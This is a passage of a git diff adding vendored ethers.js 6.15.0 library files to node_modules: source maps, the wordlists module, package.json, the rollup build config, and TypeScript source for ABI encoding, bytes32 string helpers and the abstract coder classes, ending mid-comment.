+{"version":3,"file":"wordlists-extra.js","sourceRoot":"","sources":["../../src.ts/wordlists/wordlists-extra.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AACtC,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AACtC,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AACtC,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AACtC,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AACtC,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AACtC,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AACtC,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/wordlists.d.ts b/node_modules/ethers/lib.esm/wordlists/wordlists.d.ts new file mode 100644 index 000000000000..ab8b0308cb07 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/wordlists.d.ts @@ -0,0 +1,16 @@ +import type { Wordlist } from "./wordlist.js"; +/** + * The available Wordlists by their + * [ISO 639-1 Language Code](link-wiki-iso639). + * + * (**i.e.** [cz](LangCz), [en](LangEn), [es](LangEs), [fr](LangFr), + * [ja](LangJa), [ko](LangKo), [it](LangIt), [pt](LangPt), + * [zh_cn](LangZh), [zh_tw](LangZh)) + * + * The dist files (in the ``/dist`` folder) have had all languages + * except English stripped out, which reduces the library size by + * about 80kb. If required, they are available by importing the + * included ``wordlists-extra.min.js`` file. + */ +export declare const wordlists: Record; +//# sourceMappingURL=wordlists.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/wordlists.d.ts.map b/node_modules/ethers/lib.esm/wordlists/wordlists.d.ts.map new file mode 100644 index 000000000000..6e459b7ce3e0 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/wordlists.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"wordlists.d.ts","sourceRoot":"","sources":["../../src.ts/wordlists/wordlists.ts"],"names":[],"mappings":"AAWA,OAAO,KAAK,EAAE,QAAQ,EAAE,MAAM,eAAe,CAAC;AAE9C;;;;;;;;;;;;GAYG;AACH,eAAO,MAAM,SAAS,EAAE,MAAM,CAAC,MAAM,EAAE,QAAQ,CAW9C,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/wordlists.js b/node_modules/ethers/lib.esm/wordlists/wordlists.js new file mode 100644 index 000000000000..45fd2d71e4e2 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/wordlists.js @@ -0,0 +1,35 @@ +import { LangCz } from "./lang-cz.js"; +import { LangEn } from "./lang-en.js"; +import { LangEs } from "./lang-es.js"; +import { LangFr } from "./lang-fr.js"; +import { LangJa } from "./lang-ja.js"; +import { LangKo } from "./lang-ko.js"; +import { LangIt } from "./lang-it.js"; +import { LangPt } from "./lang-pt.js"; +import { LangZh } from "./lang-zh.js"; +/** + * The available Wordlists by their + * [ISO 639-1 Language Code](link-wiki-iso639). + * + * (**i.e.** [cz](LangCz), [en](LangEn), [es](LangEs), [fr](LangFr), + * [ja](LangJa), [ko](LangKo), [it](LangIt), [pt](LangPt), + * [zh_cn](LangZh), [zh_tw](LangZh)) + * + * The dist files (in the ``/dist`` folder) have had all languages + * except English stripped out, which reduces the library size by + * about 80kb. If required, they are available by importing the + * included ``wordlists-extra.min.js`` file. + */ +export const wordlists = { + cz: LangCz.wordlist(), + en: LangEn.wordlist(), + es: LangEs.wordlist(), + fr: LangFr.wordlist(), + it: LangIt.wordlist(), + pt: LangPt.wordlist(), + ja: LangJa.wordlist(), + ko: LangKo.wordlist(), + zh_cn: LangZh.wordlist("cn"), + zh_tw: LangZh.wordlist("tw"), +}; +//# sourceMappingURL=wordlists.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/wordlists.js.map b/node_modules/ethers/lib.esm/wordlists/wordlists.js.map new file mode 100644 index 000000000000..bc54711c3ef2 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/wordlists.js.map @@ -0,0 +1 @@ +{"version":3,"file":"wordlists.js","sourceRoot":"","sources":["../../src.ts/wordlists/wordlists.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AACtC,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AACtC,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AACtC,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AACtC,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AACtC,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AACtC,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AACtC,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AACtC,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AAItC;;;;;;;;;;;;GAYG;AACH,MAAM,CAAC,MAAM,SAAS,GAA6B;IACjD,EAAE,EAAE,MAAM,CAAC,QAAQ,EAAE;IACrB,EAAE,EAAE,MAAM,CAAC,QAAQ,EAAE;IACrB,EAAE,EAAE,MAAM,CAAC,QAAQ,EAAE;IACrB,EAAE,EAAE,MAAM,CAAC,QAAQ,EAAE;IACrB,EAAE,EAAE,MAAM,CAAC,QAAQ,EAAE;IACrB,EAAE,EAAE,MAAM,CAAC,QAAQ,EAAE;IACrB,EAAE,EAAE,MAAM,CAAC,QAAQ,EAAE;IACrB,EAAE,EAAE,MAAM,CAAC,QAAQ,EAAE;IACrB,KAAK,EAAE,MAAM,CAAC,QAAQ,CAAC,IAAI,CAAC;IAC5B,KAAK,EAAE,MAAM,CAAC,QAAQ,CAAC,IAAI,CAAC;CAC7B,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/package.json b/node_modules/ethers/package.json new file mode 100644 index 000000000000..01c5b0dd86d7 --- /dev/null +++ b/node_modules/ethers/package.json @@ -0,0 +1,135 @@ +{ + "author": "Richard Moore ", + "browser": { + "./lib.esm/crypto/crypto.js": "./lib.esm/crypto/crypto-browser.js", + "./lib.esm/providers/provider-ipcsocket.js": "./lib.esm/providers/provider-ipcsocket-browser.js", + "./lib.esm/providers/ws.js": "./lib.esm/providers/ws-browser.js", + "./lib.esm/utils/base64.js": "./lib.esm/utils/base64-browser.js", + "./lib.esm/utils/geturl.js": "./lib.esm/utils/geturl-browser.js", + "./lib.esm/wordlists/wordlists.js": "./lib.esm/wordlists/wordlists-browser.js" + }, + "dependencies": { + "@adraffy/ens-normalize": "1.10.1", + "@noble/curves": "1.2.0", + "@noble/hashes": "1.3.2", + "@types/node": "22.7.5", + "aes-js": "4.0.0-beta.5", + "tslib": "2.7.0", + "ws": "8.17.1" + }, + "description": "A complete and compact Ethereum library, for dapps, wallets and any other tools.", + "devDependencies": { + "@rollup/plugin-node-resolve": "15.3.0", + "@types/mocha": "10.0.9", + "@types/semver": "7.5.8", + "c8": "7.12.0", + "mocha": "10.7.3", + "rollup": "4.24.0", + "semver": "7.6.3", + "typescript": "5.0.4", + "uglify-js": "3.19.3" + }, + "engines": { + "node": ">=14.0.0" + }, + "ethereum": "donations.ethers.eth", + "exports": { + ".": { + "import": "./lib.esm/index.js", + "default": "./lib.commonjs/index.js" + }, + "./abi": { + "import": "./lib.esm/abi/index.js", + "default": "./lib.commonjs/abi/index.js" + }, + "./address": { + "import": "./lib.esm/address/index.js", + "default": "./lib.commonjs/address/index.js" + }, + "./constants": { + "import": "./lib.esm/constants/index.js", + "default": "./lib.commonjs/constants/index.js" + }, + "./contract": { + "import": "./lib.esm/contract/index.js", + "default": "./lib.commonjs/contract/index.js" + }, + "./crypto": { + "import": "./lib.esm/crypto/index.js", + "default": "./lib.commonjs/crypto/index.js" + }, + "./hash": { + "import": "./lib.esm/hash/index.js", + "default": "./lib.commonjs/hash/index.js" + }, + "./providers": { + "import": "./lib.esm/providers/index.js", + "default": "./lib.commonjs/providers/index.js" + }, + "./transaction": { + "import": "./lib.esm/transaction/index.js", + "default": "./lib.commonjs/transaction/index.js" + }, + "./utils": { + "import": "./lib.esm/utils/index.js", + "default": "./lib.commonjs/utils/index.js" + }, + "./wallet": { + "import": "./lib.esm/wallet/index.js", + "default": "./lib.commonjs/wallet/index.js" + }, + "./wordlists": { + "import": "./lib.esm/wordlists/index.js", + "default": "./lib.commonjs/wordlists/index.js" + } + }, + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/ethers-io/" + }, + { + "type": "individual", + "url": "https://www.buymeacoffee.com/ricmoo" + } + ], + "gitHead": "9944ec94b154b4f8fdfeefb81a1e47b28fd907bc", + "homepage": "https://ethers.org", + "keywords": [ + "ethereum", + "ethers", + "ethersjs" + ], + "license": "MIT", + "main": "./lib.commonjs/index.js", + "module": "./lib.esm/index.js", + "name": "ethers", + "publishConfig": { + "access": "public", + "tag": "latest" + }, + "repository": { + "type": "git", + "url": "git://github.com/ethers-io/ethers.js.git" + }, + "scripts": { + "_build-dist": "rollup -c && uglifyjs ./dist/ethers.js -o ./dist/ethers.min.js && uglifyjs ./dist/ethers.umd.js -o ./dist/ethers.umd.min.js && uglifyjs ./dist/wordlists-extra.js -o ./dist/wordlists-extra.min.js", + "_dist-stats": "gzip -k9f -S '.gz' ./dist/ethers.min.js && gzip -k9f -S '.gz' ./dist/ethers.umd.min.js && gzip -k9f -S '.gz' ./dist/wordlists-extra.min.js && du -hs ./dist/*.gz && echo '' && du -hs ./dist/*.js", + "auto-build": "npm run build -- -w", + "build": "tsc --project tsconfig.esm.json", + "build-all": "npm run build && npm run build-commonjs", + "build-clean": "npm run clean && npm run build && node lib.esm/_admin/update-version.js && node lib.esm/_admin/update-changelog.js && npm run build-all && npm run _build-dist && npm run _dist-stats", + "build-commonjs": "tsc --project tsconfig.commonjs.json", + "build-dist": "npm run build && npm run _build-dist && npm run _dist-stats", + "clean": "rm -rf dist lib.esm lib.commonjs && cp -r misc/basedirs/* .", + "postpublish": "node lib.esm/_admin/create-release.js", + "stats": "echo 'Dependencies' && npm ls --all --omit=dev", + "test": "npm run test-esm", + "test-browser": "node lib.esm/_admin/test-browser", + "test-commonjs": "mocha --reporter ./reporter.cjs ./lib.commonjs/_tests/test-*.js", + "test-coverage": "c8 -o output -r lcov -r text mocha --no-color --reporter ./reporter.cjs ./lib.esm/_tests/test-*.js | tee output/summary.txt", + "test-esm": "mocha --trace-warnings --reporter ./reporter.cjs ./lib.esm/_tests/test-*.js" + }, + "sideEffects": false, + "version": "6.15.0" +} diff --git a/node_modules/ethers/rollup.config.mjs b/node_modules/ethers/rollup.config.mjs new file mode 100644 index 000000000000..8a86d83fbc38 --- /dev/null +++ b/node_modules/ethers/rollup.config.mjs @@ -0,0 +1,50 @@ + +import { nodeResolve } from '@rollup/plugin-node-resolve'; + +function getConfig(opts) { + if (opts == null) { opts = { }; } + + const file = `./dist/ethers${ (opts.suffix || "") }.js`; + const exportConditions = [ "import", "default" ]; + const mainFields = [ "module", "main" ]; + if (opts.browser) { mainFields.unshift("browser"); } + + return { + input: "./lib.esm/index.js", + output: { + file, + banner: "const __$G = (typeof globalThis !== 'undefined' ? globalThis: typeof window !== 'undefined' ? window: typeof global !== 'undefined' ? global: typeof self !== 'undefined' ? self: {});", + name: (opts.name || undefined), + format: (opts.format || "esm"), + sourcemap: true + }, + context: "__$G", + treeshake: true, + plugins: [ nodeResolve({ + exportConditions, + mainFields, + modulesOnly: true, + preferBuiltins: false + }) ], + }; +} + +export default [ + getConfig({ browser: true }), + getConfig({ browser: true, suffix: ".umd", format: "umd", name: "ethers" }), + { + input: "./lib.esm/wordlists/wordlists-extra.js", + output: { + file: "./dist/wordlists-extra.js", + format: "esm", + sourcemap: true + }, + treeshake: true, + plugins: [ nodeResolve({ + exportConditions: [ "default", "module", "import" ], + mainFields: [ "browser", "module", "main" ], + modulesOnly: true, + preferBuiltins: false + }) ], + } +]; diff --git a/node_modules/ethers/src.ts/_version.ts b/node_modules/ethers/src.ts/_version.ts new file mode 100644 index 000000000000..41283e523399 --- /dev/null +++ b/node_modules/ethers/src.ts/_version.ts @@ -0,0 +1,6 @@ +/* Do NOT modify this file; see /src.ts/_admin/update-version.ts */ + +/** + * The current version of Ethers. + */ +export const version: string = "6.15.0"; diff --git a/node_modules/ethers/src.ts/abi/abi-coder.ts b/node_modules/ethers/src.ts/abi/abi-coder.ts new file mode 100644 index 000000000000..b19b443cd239 --- /dev/null +++ b/node_modules/ethers/src.ts/abi/abi-coder.ts @@ -0,0 +1,237 @@ +/** + * When sending values to or receiving values from a [[Contract]], the + * data is generally encoded using the [ABI standard](link-solc-abi). + * + * The AbiCoder provides a utility to encode values to ABI data and + * decode values from ABI data. + * + * Most of the time, developers should favour the [[Contract]] class, + * which further abstracts a lot of the finer details of ABI data. + * + * @_section api/abi/abi-coder:ABI Encoding + */ + +// See: https://github.com/ethereum/wiki/wiki/Ethereum-Contract-ABI + +import { assertArgumentCount, assertArgument } from "../utils/index.js"; + +import { Coder, Reader, Result, Writer } from "./coders/abstract-coder.js"; +import { AddressCoder } from "./coders/address.js"; +import { ArrayCoder } from "./coders/array.js"; +import { BooleanCoder } from "./coders/boolean.js"; +import { BytesCoder } from "./coders/bytes.js"; +import { FixedBytesCoder } from "./coders/fixed-bytes.js"; +import { NullCoder } from "./coders/null.js"; +import { NumberCoder } from "./coders/number.js"; +import { StringCoder } from "./coders/string.js"; +import { TupleCoder } from "./coders/tuple.js"; +import { ParamType } from "./fragments.js"; + +import { getAddress } from "../address/index.js"; +import { getBytes, hexlify, makeError } from "../utils/index.js"; + +import type { + BytesLike, + CallExceptionAction, CallExceptionError, CallExceptionTransaction +} from "../utils/index.js"; + +// https://docs.soliditylang.org/en/v0.8.17/control-structures.html +const PanicReasons: Map = new Map(); +PanicReasons.set(0x00, "GENERIC_PANIC"); +PanicReasons.set(0x01, "ASSERT_FALSE"); +PanicReasons.set(0x11, "OVERFLOW"); +PanicReasons.set(0x12, "DIVIDE_BY_ZERO"); +PanicReasons.set(0x21, "ENUM_RANGE_ERROR"); +PanicReasons.set(0x22, "BAD_STORAGE_DATA"); +PanicReasons.set(0x31, "STACK_UNDERFLOW"); +PanicReasons.set(0x32, "ARRAY_RANGE_ERROR"); +PanicReasons.set(0x41, "OUT_OF_MEMORY"); +PanicReasons.set(0x51, "UNINITIALIZED_FUNCTION_CALL"); + +const paramTypeBytes = new RegExp(/^bytes([0-9]*)$/); +const paramTypeNumber = new RegExp(/^(u?int)([0-9]*)$/); + + +let defaultCoder: null | AbiCoder = null; +let defaultMaxInflation = 1024; + +function getBuiltinCallException(action: CallExceptionAction, tx: { to?: null | string, from?: null | string, data?: string }, data: null | BytesLike, abiCoder: AbiCoder): CallExceptionError { + let message = "missing revert data"; + + let reason: null | string = null; + const invocation = null; + let revert: null | { signature: string, name: string, args: Array } = null; + + if (data) { + message = "execution reverted"; + + const bytes = getBytes(data); + data = hexlify(data); + + if (bytes.length === 0) { + message += " (no data present; likely require(false) occurred"; + reason = "require(false)"; + + } else if (bytes.length % 32 !== 4) { + message += " (could not decode reason; invalid data length)"; + + } else if (hexlify(bytes.slice(0, 4)) === "0x08c379a0") { + // Error(string) + try { + reason = abiCoder.decode([ "string" ], bytes.slice(4))[0] + revert = { + signature: "Error(string)", + name: "Error", + args: [ reason ] + }; + message += `: ${ JSON.stringify(reason) }`; + + } catch (error) { + message += " (could not decode reason; invalid string data)"; + } + + } else if (hexlify(bytes.slice(0, 4)) === "0x4e487b71") { + // Panic(uint256) + try { + const code = Number(abiCoder.decode([ "uint256" ], bytes.slice(4))[0]); + revert = { + signature: "Panic(uint256)", + name: "Panic", + args: [ code ] + }; + reason = `Panic due to ${ PanicReasons.get(code) || "UNKNOWN" }(${ code })`; + message += `: ${ reason }`; + } catch (error) { + message += " (could not decode panic code)"; + } + } else { + message += " (unknown custom error)"; + } + } + + const transaction: CallExceptionTransaction = { + to: (tx.to ? getAddress(tx.to): null), + data: (tx.data || "0x") + }; + if (tx.from) { transaction.from = getAddress(tx.from); } + + return makeError(message, "CALL_EXCEPTION", { + action, data, reason, transaction, invocation, revert + }); +} + +/** + * The **AbiCoder** is a low-level class responsible for encoding JavaScript + * values into binary data and decoding binary data into JavaScript values. + */ +export class AbiCoder { + + #getCoder(param: ParamType): Coder { + if (param.isArray()) { + return new ArrayCoder(this.#getCoder(param.arrayChildren), param.arrayLength, param.name); + } + + if (param.isTuple()) { + return new TupleCoder(param.components.map((c) => this.#getCoder(c)), param.name); + } + + switch (param.baseType) { + case "address": + return new AddressCoder(param.name); + case "bool": + return new BooleanCoder(param.name); + case "string": + return new StringCoder(param.name); + case "bytes": + return new BytesCoder(param.name); + case "": + return new NullCoder(param.name); + } + + // u?int[0-9]* + let match = param.type.match(paramTypeNumber); + if (match) { + let size = parseInt(match[2] || "256"); + assertArgument(size !== 0 && size <= 256 && (size % 8) === 0, + "invalid " + match[1] + " bit length", "param", param); + return new NumberCoder(size / 8, (match[1] === "int"), param.name); + } + + // bytes[0-9]+ + match = param.type.match(paramTypeBytes); + if (match) { + let size = parseInt(match[1]); + assertArgument(size !== 0 && size <= 32, "invalid bytes length", "param", param); + return new FixedBytesCoder(size, param.name); + } + + assertArgument(false, "invalid type", "type", param.type); + } + + /** + * Get the default values for the given %%types%%. + * + * For example, a ``uint`` is by default ``0`` and ``bool`` + * is by default ``false``. + */ + getDefaultValue(types: ReadonlyArray): Result { + const coders: Array = types.map((type) => this.#getCoder(ParamType.from(type))); + const coder = new TupleCoder(coders, "_"); + return coder.defaultValue(); + } + + /** + * Encode the %%values%% as the %%types%% into ABI data. + * + * @returns DataHexstring + */ + encode(types: ReadonlyArray, values: ReadonlyArray): string { + assertArgumentCount(values.length, types.length, "types/values length mismatch"); + + const coders = types.map((type) => this.#getCoder(ParamType.from(type))); + const coder = (new TupleCoder(coders, "_")); + + const writer = new Writer(); + coder.encode(writer, values); + return writer.data; + } + + /** + * Decode the ABI %%data%% as the %%types%% into values. + * + * If %%loose%% decoding is enabled, then strict padding is + * not enforced. Some older versions of Solidity incorrectly + * padded event data emitted from ``external`` functions. + */ + decode(types: ReadonlyArray, data: BytesLike, loose?: boolean): Result { + const coders: Array = types.map((type) => this.#getCoder(ParamType.from(type))); + const coder = new TupleCoder(coders, "_"); + return coder.decode(new Reader(data, loose, defaultMaxInflation)); + } + + static _setDefaultMaxInflation(value: number): void { + assertArgument(typeof(value) === "number" && Number.isInteger(value), "invalid defaultMaxInflation factor", "value", value); + defaultMaxInflation = value; + } + + /** + * Returns the shared singleton instance of a default [[AbiCoder]]. + * + * On the first call, the instance is created internally. + */ + static defaultAbiCoder(): AbiCoder { + if (defaultCoder == null) { + defaultCoder = new AbiCoder(); + } + return defaultCoder; + } + + /** + * Returns an ethers-compatible [[CallExceptionError]] Error for the given + * result %%data%% for the [[CallExceptionAction]] %%action%% against + * the Transaction %%tx%%. + */ + static getBuiltinCallException(action: CallExceptionAction, tx: { to?: null | string, from?: null | string, data?: string }, data: null | BytesLike): CallExceptionError { + return getBuiltinCallException(action, tx, data, AbiCoder.defaultAbiCoder()); + } +} diff --git a/node_modules/ethers/src.ts/abi/bytes32.ts b/node_modules/ethers/src.ts/abi/bytes32.ts new file mode 100644 index 000000000000..0a34d8427776 --- /dev/null +++ b/node_modules/ethers/src.ts/abi/bytes32.ts @@ -0,0 +1,45 @@ +/** + * About bytes32 strings... + * + * @_docloc: api/utils:Bytes32 Strings + */ + +import { + getBytes, toUtf8Bytes, toUtf8String, zeroPadBytes +} from "../utils/index.js"; + +import type { BytesLike } from "../utils/index.js"; + +/** + * Encodes %%text%% as a Bytes32 string. + */ +export function encodeBytes32String(text: string): string { + + // Get the bytes + const bytes = toUtf8Bytes(text); + + // Check we have room for null-termination + if (bytes.length > 31) { throw new Error("bytes32 string must be less than 32 bytes"); } + + // Zero-pad (implicitly null-terminates) + return zeroPadBytes(bytes, 32); +} + +/** + * Encodes the Bytes32-encoded %%bytes%% into a string. + */ +export function decodeBytes32String(_bytes: BytesLike): string { + const data = getBytes(_bytes, "bytes"); + + // Must be 32 bytes with a null-termination + if (data.length !== 32) { throw new Error("invalid bytes32 - not 32 bytes long"); } + if (data[31] !== 0) { throw new Error("invalid bytes32 string - no null terminator"); } + + // Find the null termination + let length = 31; + while (data[length - 1] === 0) { length--; } + + // Determine the string value + return toUtf8String(data.slice(0, length)); +} + diff --git a/node_modules/ethers/src.ts/abi/coders/abstract-coder.ts b/node_modules/ethers/src.ts/abi/coders/abstract-coder.ts new file mode 100644 index 000000000000..99f635edeffa --- /dev/null +++ b/node_modules/ethers/src.ts/abi/coders/abstract-coder.ts @@ -0,0 +1,541 @@ + +import { + defineProperties, concat, getBytesCopy, getNumber, hexlify, + toBeArray, toBigInt, toNumber, + assert, assertArgument + /*, isError*/ +} from "../../utils/index.js"; + +import type { BigNumberish, BytesLike } from "../../utils/index.js"; + +/** + * @_ignore: + */ +export const WordSize: number = 32; +const Padding = new Uint8Array(WordSize); + +// Properties used to immediate pass through to the underlying object +// - `then` is used to detect if an object is a Promise for await +const passProperties = [ "then" ]; + +const _guard = { }; + +const resultNames: WeakMap> = new WeakMap(); + +function getNames(result: Result): ReadonlyArray { + return resultNames.get(result)!; +} +function setNames(result: Result, names: ReadonlyArray): void { + resultNames.set(result, names); +} + +function throwError(name: string, error: Error): never { + const wrapped = new Error(`deferred error during ABI decoding triggered accessing ${ name }`); + (wrapped).error = error; + throw wrapped; +} + +function toObject(names: ReadonlyArray, items: Result, deep?: boolean): Record | Array { + if (names.indexOf(null) >= 0) { + return items.map((item, index) => { + if (item instanceof Result) { + return toObject(getNames(item), item, deep); + } + return item; + }); + } + + return (>names).reduce((accum, name, index) => { + let item = items.getValue(name); + if (!(name in accum)) { + if (deep && item instanceof Result) { + item = toObject(getNames(item), item, deep); + } + accum[name] = item; + } + return accum; + }, >{ }); +} + + +/** + * A [[Result]] is a sub-class of Array, which allows accessing any + * of its values either positionally by its index or, if keys are + * provided by its name. + * + * @_docloc: api/abi + */ +export class Result extends Array { + // No longer used; but cannot be removed as it will remove the + // #private field from the .d.ts which may break backwards + // compatibility + readonly #names: ReadonlyArray; + + [ K: string | number ]: any + + /** + * @private + */ + constructor(...args: Array) { + // To properly sub-class Array so the other built-in + // functions work, the constructor has to behave fairly + // well. So, in the event we are created via fromItems() + // we build the read-only Result object we want, but on + // any other input, we use the default constructor + + // constructor(guard: any, items: Array, keys?: Array); + const guard = args[0]; + let items: Array = args[1]; + let names: Array = (args[2] || [ ]).slice(); + + let wrap = true; + if (guard !== _guard) { + items = args; + names = [ ]; + wrap = false; + } + + // Can't just pass in ...items since an array of length 1 + // is a special case in the super. + super(items.length); + items.forEach((item, index) => { this[index] = item; }); + + // Find all unique keys + const nameCounts = names.reduce((accum, name) => { + if (typeof(name) === "string") { + accum.set(name, (accum.get(name) || 0) + 1); + } + return accum; + }, >(new Map())); + + // Remove any key thats not unique + setNames(this, Object.freeze(items.map((item, index) => { + const name = names[index]; + if (name != null && nameCounts.get(name) === 1) { + return name; + } + return null; + }))); + + // Dummy operations to prevent TypeScript from complaining + this.#names = [ ]; + if (this.#names == null) { void(this.#names); } + + if (!wrap) { return; } + + // A wrapped Result is immutable + Object.freeze(this); + + // Proxy indices and names so we can trap deferred errors + const proxy = new Proxy(this, { + get: (target, prop, receiver) => { + if (typeof(prop) === "string") { + + // Index accessor + if (prop.match(/^[0-9]+$/)) { + const index = getNumber(prop, "%index"); + if (index < 0 || index >= this.length) { + throw new RangeError("out of result range"); + } + + const item = target[index]; + if (item instanceof Error) { + throwError(`index ${ index }`, item); + } + return item; + } + + // Pass important checks (like `then` for Promise) through + if (passProperties.indexOf(prop) >= 0) { + return Reflect.get(target, prop, receiver); + } + + const value = target[prop]; + if (value instanceof Function) { + // Make sure functions work with private variables + // See: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy#no_private_property_forwarding + return function(this: any, ...args: Array) { + return value.apply((this === receiver) ? target: this, args); + }; + + } else if (!(prop in target)) { + // Possible name accessor + return target.getValue.apply((this === receiver) ? target: this, [ prop ]); + } + } + + return Reflect.get(target, prop, receiver); + } + }); + setNames(proxy, getNames(this)); + return proxy; + } + + /** + * Returns the Result as a normal Array. If %%deep%%, any children + * which are Result objects are also converted to a normal Array. + * + * This will throw if there are any outstanding deferred + * errors. + */ + toArray(deep?: boolean): Array { + const result: Array = [ ]; + this.forEach((item, index) => { + if (item instanceof Error) { throwError(`index ${ index }`, item); } + if (deep && item instanceof Result) { + item = item.toArray(deep); + } + result.push(item); + }); + return result; + } + + /** + * Returns the Result as an Object with each name-value pair. If + * %%deep%%, any children which are Result objects are also + * converted to an Object. + * + * This will throw if any value is unnamed, or if there are + * any outstanding deferred errors. + */ + toObject(deep?: boolean): Record { + const names = getNames(this); + return names.reduce((accum, name, index) => { + + assert(name != null, `value at index ${ index } unnamed`, "UNSUPPORTED_OPERATION", { + operation: "toObject()" + }); + + return toObject(names, this, deep); + }, >{}); + } + + /** + * @_ignore + */ + slice(start?: number | undefined, end?: number | undefined): Result { + if (start == null) { start = 0; } + if (start < 0) { + start += this.length; + if (start < 0) { start = 0; } + } + + if (end == null) { end = this.length; } + if (end < 0) { + end += this.length; + if (end < 0) { end = 0; } + } + if (end > this.length) { end = this.length; } + + const _names = getNames(this); + + const result: Array = [ ], names: Array = [ ]; + for (let i = start; i < end; i++) { + result.push(this[i]); + names.push(_names[i]); + } + + return new Result(_guard, result, names); + } + + /** + * @_ignore + */ + filter(callback: (el: any, index: number, array: Result) => boolean, thisArg?: any): Result { + const _names = getNames(this); + + const result: Array = [ ], names: Array = [ ]; + for (let i = 0; i < this.length; i++) { + const item = this[i]; + if (item instanceof Error) { + throwError(`index ${ i }`, item); + } + + if (callback.call(thisArg, item, i, this)) { + result.push(item); + names.push(_names[i]); + } + } + + return new Result(_guard, result, names); + } + + /** + * @_ignore + */ + map(callback: (el: any, index: number, array: Result) => T, thisArg?: any): Array { + const result: Array = [ ]; + for (let i = 0; i < this.length; i++) { + const item = this[i]; + if (item instanceof Error) { + throwError(`index ${ i }`, item); + } + + result.push(callback.call(thisArg, item, i, this)); + } + + return result; + } + + + /** + * Returns the value for %%name%%. + * + * Since it is possible to have a key whose name conflicts with + * a method on a [[Result]] or its superclass Array, or any + * JavaScript keyword, this ensures all named values are still + * accessible by name. + */ + getValue(name: string): any { + const index = getNames(this).indexOf(name); + if (index === -1) { return undefined; } + + const value = this[index]; + + if (value instanceof Error) { + throwError(`property ${ JSON.stringify(name) }`, (value).error); + } + + return value; + } + + /** + * Creates a new [[Result]] for %%items%% with each entry + * also accessible by its corresponding name in %%keys%%. + */ + static fromItems(items: Array, keys?: Array): Result { + return new Result(_guard, items, keys); + } +} + +/** + * Returns all errors found in a [[Result]]. + * + * Since certain errors encountered when creating a [[Result]] do + * not impact the ability to continue parsing data, they are + * deferred until they are actually accessed. Hence a faulty string + * in an Event that is never used does not impact the program flow. + * + * However, sometimes it may be useful to access, identify or + * validate correctness of a [[Result]]. + * + * @_docloc api/abi + */ +export function checkResultErrors(result: Result): Array<{ path: Array, error: Error }> { + // Find the first error (if any) + const errors: Array<{ path: Array, error: Error }> = [ ]; + + const checkErrors = function(path: Array, object: any): void { + if (!Array.isArray(object)) { return; } + for (let key in object) { + const childPath = path.slice(); + childPath.push(key); + + try { + checkErrors(childPath, object[key]); + } catch (error: any) { + errors.push({ path: childPath, error: error }); + } + } + } + checkErrors([ ], result); + + return errors; + +} + +function getValue(value: BigNumberish): Uint8Array { + let bytes = toBeArray(value); + + assert (bytes.length <= WordSize, "value out-of-bounds", + "BUFFER_OVERRUN", { buffer: bytes, length: WordSize, offset: bytes.length }); + + if (bytes.length !== WordSize) { + bytes = getBytesCopy(concat([ Padding.slice(bytes.length % WordSize), bytes ])); + } + + return bytes; +} + +/** + * @_ignore + */ +export abstract class Coder { + + // The coder name: + // - address, uint256, tuple, array, etc. + readonly name!: string; + + // The fully expanded type, including composite types: + // - address, uint256, tuple(address,bytes), uint256[3][4][], etc. + readonly type!: string; + + // The localName bound in the signature, in this example it is "baz": + // - tuple(address foo, uint bar) baz + readonly localName!: string; + + // Whether this type is dynamic: + // - Dynamic: bytes, string, address[], tuple(boolean[]), etc. + // - Not Dynamic: address, uint256, boolean[3], tuple(address, uint8) + readonly dynamic!: boolean; + + constructor(name: string, type: string, localName: string, dynamic: boolean) { + defineProperties(this, { name, type, localName, dynamic }, { + name: "string", type: "string", localName: "string", dynamic: "boolean" + }); + } + + _throwError(message: string, value: any): never { + assertArgument(false, message, this.localName, value); + } + + abstract encode(writer: Writer, value: any): number; + abstract decode(reader: Reader): any; + + abstract defaultValue(): any; +} + +/** + * @_ignore + */ +export class Writer { + // An array of WordSize lengthed objects to concatenation + #data: Array; + #dataLength: number; + + constructor() { + this.#data = [ ]; + this.#dataLength = 0; + } + + get data(): string { + return concat(this.#data); + } + get length(): number { return this.#dataLength; } + + #writeData(data: Uint8Array): number { + this.#data.push(data); + this.#dataLength += data.length; + return data.length; + } + + appendWriter(writer: Writer): number { + return this.#writeData(getBytesCopy(writer.data)); + } + + // Arrayish item; pad on the right to *nearest* WordSize + writeBytes(value: BytesLike): number { + let bytes = getBytesCopy(value); + const paddingOffset = bytes.length % WordSize; + if (paddingOffset) { + bytes = getBytesCopy(concat([ bytes, Padding.slice(paddingOffset) ])) + } + return this.#writeData(bytes); + } + + // Numeric item; pad on the left *to* WordSize + writeValue(value: BigNumberish): number { + return this.#writeData(getValue(value)); + } + + // Inserts a numeric place-holder, returning a callback that can + // be used to asjust the value 